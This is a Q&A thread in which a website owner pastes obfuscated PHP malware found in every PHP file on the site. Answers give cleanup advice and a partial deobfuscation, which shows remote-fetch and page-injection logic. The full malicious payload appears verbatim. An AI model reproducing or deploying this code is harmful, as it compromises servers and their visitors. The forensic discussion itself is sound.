3

Our website getting hacked again and again with some encryption code in all php files.

I don't know why and how it's hacked.

I want to know if someone can debug and provide some needy solutions.

Here is encryption code sample which is on eav

<?php $oitjaarhvj = ',27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37]53]y6d]281]y43]78]y33]65]x2c%163%x74%162%x5f%163%x70%154%x69%164%50%x22x61%160%x28%42%x66%152%x66%147%x67%42%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{666~6<&w6<%x57825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%sut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<5:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!{*w%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x78#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323l5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbsx5c%x7825zW%x5c%x7825h>E25j:>>1*!%x5c%x7825b:>x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsq>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]57-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%372]58y]472]37y]672]48y]#>s%x5c%xx7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s234]342]58]24]31#-%x5c%x#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%8604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+op,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x%x78256<pd%x5c%x7825w6Z6<.4%7pd%x5c%x78256<C%x5c%x7827p#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}%xjfgg($n){return chr(ox5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Yw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoopdXA%x5<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ox782f35.)1%x5c%x782f14+9**-)1%x5c%x%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>zH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x7LL); }7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!o5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%fmy%x5c%x7825)utjm!|!*5!%x5csvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x7860un>qp%x57827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x7825!|Z~!<##!>!2p%x5c%if((function_exists("%x6f%142%x5f%18]225]241]334]368]322]3]364]c%x7860UQPMSVD!-id%x5c%278]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f#7er%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]727878:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#]y83]256]y81]265]y72]254]y76#<%x5c%x7827825!-#1]#-bubE{h%x5dfidk!~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%xc%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x7#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x787f85c%x5c%x7825j:^<!%x560%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2x5c%x787f%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x2f7#@#7%x5c%x782f7^#iuc%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{*bz)%x5c%x7824]25%x5c%x7824-%x52e%52%x29%57%x65","%x65%166c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x:55946-tr.984:75983:48984:71]K9]77]D]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x78qj%x5c%x78256<*Y%x5c%x7825)fnbozcYuf%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;#-%x5c%x7825tmw)%x5c%x7825tww**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%xnpdov{h19275j{hnpd19275fubmgoj{h1156%x75%156%x61"])))) { $GLOBALS["%x61%156%x75%156%x61"]=1; function f!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%3Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9pnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%%x5c%x7825:>:r%x5c%x7825:|:6]283]427]36]373P6]36]73]83]238M7x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c63%x74%141%x72%164")%x5c%x7825o:!>!%x5c%x78242178}527}8)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%x77825h>#]y31]278]y3e]81]K825j,,*!|%x5c%x7824-%x5c%x7824gvodujptmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;V%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b%782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273sfwjidsb%x5c%x7860bj+upcotn+qsvmt+f]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opord($n)-1);} @error_reporting(0); preg_replace("%x2f%50%x%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%%x785c}X%x5c%x7824<!%x5c%x7825t787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&5297e:56-%x5c%x7878r.985:52985-t.98]K4]65]D8]86]y31]825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]25zw>!#]y76]277]y72]265]y39]274]y85y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73", NU!%x5c%x7825t2w)##Qtjw)#]82#-#!5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x7825)Rd%x5c%x7825)Rb%xutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x78%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:]273]y6g]273]y76]271]y7d]252]y74]256]y3x5c%x787f;!osvufs}w;*%x5c%hA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x78]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q7825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]578:-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-25%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825j%x5c%x7825>j%x5c%x7825!*3!%x55c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x78bq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x0#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuv%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#08:}334}472%x5c%x7824<!%x5c%x7825mm!5tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]y74]273]y7^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opc%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%xsb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEE78pmpusut)tpqssutRe%x5c;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x1]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssc%x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x52]254]y76]61]y33]68]y34]68]y33]65]y31%x7827u%x5c%x7825)7fmji%x5c%x78786<C%7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17>!#]y81]273]y76]258]y6g]273]y76]27x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3of>2bd%827tfs%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*2x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyfd%x5c%x78256|6.7eu{66~67<&w6<*&73qj%x5c%x78257>%x5c%x|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!g825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5cx5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#XA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5cx5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd%x5tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c}:}.}-}!#*<%x5c%x7825nfd>%x%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)c%x7825)tpqsut>j%x5c%x7825!*72!%x5c%x7827!hmg%1L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]28c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5c%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>c%x782f#@#%x5c%x782fqp%x5c%pjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x7#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%5c%x787f<*X&Z&S{ftmfV%x5mhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#05fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]2725j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x78x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x782256]y78]248]y83]256]y81]265]y7x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860mf%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<f782f2986+7**^%x5c%x782f%x5c%x78252]48y]#>m%x5c%x7825:|:*r%x5c%x7827825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%xo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5 && (!isset($GLOBALS["%x61%so!sboepn)%x5c%x7825e#57]38y]47]67y]37]88y]27]28y%x61%154%x28%151%x6d%160%x6c%157%x6sutcvt)fubmgoj{hA!osvufs!~<3,25bT-%x5c%x7825hW~%x5c%x782x7825!|!*!***b%x5c%x7825)sf%x,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57%x5c%x7825>%x5c%x782fh%x5c%x7825:<**4%145%x28%141%x72%162%x61%171%x5f%155%j!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTx5c%x7860hA%x5c%x7827pd%x*u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825lx5c%x782400~:<h%x5c%x7825_tjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%c%x782f#)rrd%x5c%x782f#00ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7x787fw6*CW&)7gj6<*K)ftpmd%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x%x78e%x5c%x78b%x5c%x76#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]271]y83]7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jo#>>}R;msv}.;%x5c%x782f85c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c]},;osvufs}%x5c%x7827;mnui}&;zepc}4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpzx5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5c%x7825)tpqA;~!}%x5c%x787f;!|!}{;)gj}l;x7825mm)%x5c%x7825%x5c%x7879]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>16]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%5c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782ofmy%x5c%x7825,3,j%x5c%x7825>j%x#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x78/(.*)/epreg_replacebycwfnvqls'; $vhigkknqds = explode(chr((173-129)),'2124,35,3886,20,8575,27,3549,70,1275,21,4583,56,3090,27,8651,35,8848,38,127,38,81,46,1554,64,2664,64,7467,65,1159,28,9000,25,5034,67,8089,38,1187,27,6721,32,9137,56,9252,25,7004,54,6364,37,6934,70,9419,50,2767,54,1362,51,3117,64,1694,41,6753,21,4272,68,3324,36,5354,65,2951,22,5762,61,8467,42,1296,66,9277,53,4735,65,3941,56,2303,70,7284,61,9218,34,6614,48,714,61,165,68,7218,39,3360,65,7112,46,8509,66,2187,23,8157,46,1928,52,5328,26,6662,59,8247,47,4119,54,8686,29,5666,30,2973,38,2516,20,7345,46,9675,55,284,50,10016,32,1456,63,1900,28,5177,66,8042,47,6774,50,8886,52,5125,52,5607,59,3619,70,6544,70,7058,54,9193,25,6198,43,2037,62,7646,27,1980,57,2099,25,8742,29,1796,51,4340,35,7883,39,10048,58,6175,23,5101,24,482,57,6119,56,8938,62,4227,45,4513,70,422,60,2536,51,4173,54,6012,63,9469,23,1214,61,1735,61,7673,39,585,60,3516,33,3997,61,975,63,9092,45,4639,65,2891,60,7859,24,6448,62,8771,41,0,55,1038,51,375,47,2842,49,9601,34,9730,28,3011,49,9025,40,7712,43,9551,50,4704,31,4909,33,5289,39,9785,57,2477,39,5952,60,9892,69,9065,27,861,39,8812,36,8623,28,5419,63,3790,27,3454,62,2425,52,775,33,5482,55,8327,33,334,41,3906,35,5917,35,6510,34,6241,39,3060,30,6280,47,2728,39,1089,70,8360,70,6877,57,2587,38,6401,47,4082,37,8430,37,9842,50,1413,43,9961,55,8203,44,2373,52,4375,70,2625,39,6824,53,5859,58,5823,36,8602,21,3722,68,539,24,1618,70,9492,59,5004,30,3425,29,7532,53,4058,24,5243,46,4800,52,2210,42,3181,36,9635,40,7433,34,7391,42,3217,56,645,69,3689,33,7257,27,5696,66,8715,27,7922,67,2159,28,3817,33,4445,68,900,24,233,51,1519,35,8294,33,2252,51,3273,51,7989,53,563,22,7158,60,7755,45,2821,21,6075,44,7585,61,7800,59,1847,53,808,53,9758,27,5537,70,924,51,3850,36,9330,21,4852,57,9351,68,8127,30,6327,37,55,26,4942,62,1688,6'); $ziyszsasep=substr($oitjaarhvj,(37753-27647),(36-29)); if (!function_exists('ybctpxzabq')) { function ybctpxzabq($nroaslzhnr, $enonziuwoe) { $vpzwgoazoc = NULL; for($etyxgizhgu=0;$etyxgizhgu<(sizeof($nroaslzhnr)/2);$etyxgizhgu++) { $vpzwgoazoc .= substr($enonziuwoe, $nroaslzhnr[($etyxgizhgu*2)],$nroaslzhnr[($etyxgizhgu*2)+1]); } return $vpzwgoazoc; };} $tgnfzyekix="\x20\57\x2a\40\x61\157\x71\152\x61\170\x6f\172\x64\163\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\65\x33\55\x31\61\x36\51\x29\54\x20\143\x68\162\x28\50\x33\66\x38\55\x32\67\x36\51\x29\54\x20\171\x62\143\x74\160\x78\172\x61\142\x71\50\x24\166\x68\151\x67\153\x6b\156\x71\144\x73\54\x24\157\x69\164\x6a\141\x61\162\x68\166\x6a\51\x29\51\x3b\40\x2f\52\x20\172\x6a\171\x79\163\x6d\143\x66\156\x77\40\x2a\57\x20"; $azhjeshvmx=substr($oitjaarhvj,(46254-36141),(84-72)); $azhjeshvmx($ziyszsasep, $tgnfzyekix, NULL); $azhjeshvmx=$tgnfzyekix; $azhjeshvmx=(647-526); $oitjaarhvj=$azhjeshvmx-1; ?>
  • 1
    You're only showing the replacement code, not your original source which is obviously flawed. How can you expect anyone to help with this? And if you're getting hacked "again and again", perhaps it's time to hire a consultant. – Jonathon Reinhart Jun 25 '14 at 5:41
  • This is the only code which is on each php file. – Dharmesh Hariyani Jun 25 '14 at 5:48
  • Okay... and what about your original files? Certainly you have backups, right? – Jonathon Reinhart Jun 25 '14 at 5:52
  • Yes i have backup of all files. and i already get website up. but now i want to identify this is why placed on each file. – Dharmesh Hariyani Jun 25 '14 at 5:56
6

General issue here, asking a web admin 101 question on a programming website:

  1. On a shared server that's been hacked? Get off shared servers, not ecommerce secure. REMOVE LEAKAGE FROM OTHER COMPROMISED WEBSITES ON OTHER ACCOUNTS PERMANTENTLY!!

  2. Next, start with any workstation that's been used to maintain the website, remove keylogger infestations and password stealers. SECURE HOW YOU MAINTAIN YOUR WEBSITE!!

  3. Are you still using FTP? Stop using FTP and convert to SCP/SFTP so you're not sending cleartext passwords. SECURE HOW YOU TRANSFER CODE TO YOUR WEBSITE!!

  4. Change all WHM/Cpanel and SSH passwords. SECURE YOUR WEB SERVER!!

  5. After closing all workstation access and server account access holes, Nuke from orbit, deleting all application code, empting http doc root, dropping database and recreating database. ELIMINATE THE HACKED CODE PERMANENTLY FROM YOUR WEBSERVER AND DATABASE!!

  6. Restore database and application code from known good backups.

  7. Make sure that file/folder permissions are correct and that all .htaccess files are in place. There have been some exceptionally dumb recommendations running around the net to fix minor problems with media folder access which allow executing php code out of world writable directories.

  • Our server is dedicated server. it's on peer1. and i am using SFTP. Now our website working fine after restored. But i want to identify this encrypted code which is on top of each file. – Dharmesh Hariyani Jun 25 '14 at 5:59
  • Or rather, obfusticated javascript more than likely. Obfustication and encoding are not the same thing as encryption. If you're feeling brave, you can stick it into a programming editor and trace out how it deobfusticates itself using PHP to expand into what it's really doing. Personally I don't want to risk compromising my computer mucking with it. You don't need to understand it, you need to remove all the vulnerabilities so it stops being continuously installed. – Fiasco Labs Jun 25 '14 at 6:02
  • LOL it's not harm coputer. it's PHP code. and i am trying to debug it. – Dharmesh Hariyani Jun 25 '14 at 6:07
  • Then asking how to deobfusticate and decode hack code probably is more appropriate over on security.stackexchange where forensics cleanup tends to be discussed. – Fiasco Labs Jun 25 '14 at 6:21
  • Out of pure curiosity, I am working through it (not running any PHP) right now. – Jonathon Reinhart Jun 25 '14 at 6:23
4

Here's as far as I've gotten it:

<?php

if((function_exists('ob_start') && (!isset($GLOBALS['anuna']))))
{
    $GLOBALS['anuna']=1;
    function subtract_one($n){
        return chr(ord($n)-1);
    }
    @error_reporting(0);

    $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W';
    $siv = 'str_replace';
    $slv = 'strrev';
    $s1v='create_function';
    $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}';
    $n9 = '1067|416|779|223|361';


    function oo2($b) {
        $h = explode("|", strrev($b));
        $d = explode("*", $h[0]);
        $b = $h[1];
        for($i=0;$i<sizeof($d);$i++) {
            $b = str_replace($i, $d[$i], $b);
        }
        create_function("", "};".$b."//");
    }

    function cqq($qw) {
        return random($domarr,$qw);
    }

    function oo1($y) {
        $y= strrev($y);
        $g=substr($y,strpos($y,"9")+1);
        $v = explode(":",substr($y,0,strpos($y,"9")));
        for($i=0;$i<sizeof($v);$i++) {
            $q = explode("|", $v[$i]);
            $g = str_replace($q[0],$q[1],$g);
        }
        create_function("", "};".$g."//");
    }

    $s1v("", $siv("9"," ",$slv($svv)));

    function random($arr,$qw) {
        $g=" w-8\\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\\x33,\\x67= w. \x072; \r5-8"."6d944835,sq-873964872937873960\\x386\\x639\\x351\\x387\\x34\\x3b";
        $soy = "\\x65\r6\\x32";
        $xx="\\x65x\x070"."\r4\\x6f\x0c4\\x65";
        $ecx="\\x63r\\x65\x0c1\x074\x0c5_\x0c6\x075\r6\\x63t\\x69\r7\\x6e";
        $scy="\x073t\x072_\x072\x0c5\x070\r4\\x61\x0c3\\x65";
        $a = $xx("|","\\x\x07c\\\\x31|\\x3d\x07c\\x3b$\x07c$");
        $aa = $xx("|","8|9|-|,| ");
        $mec=$ecx;
        for($i=0;$i<sizeof($a);$i++) {
            $g = $scy($aa[$i],$a[$i],$g);
        }
        $ecx("", "};$g//");
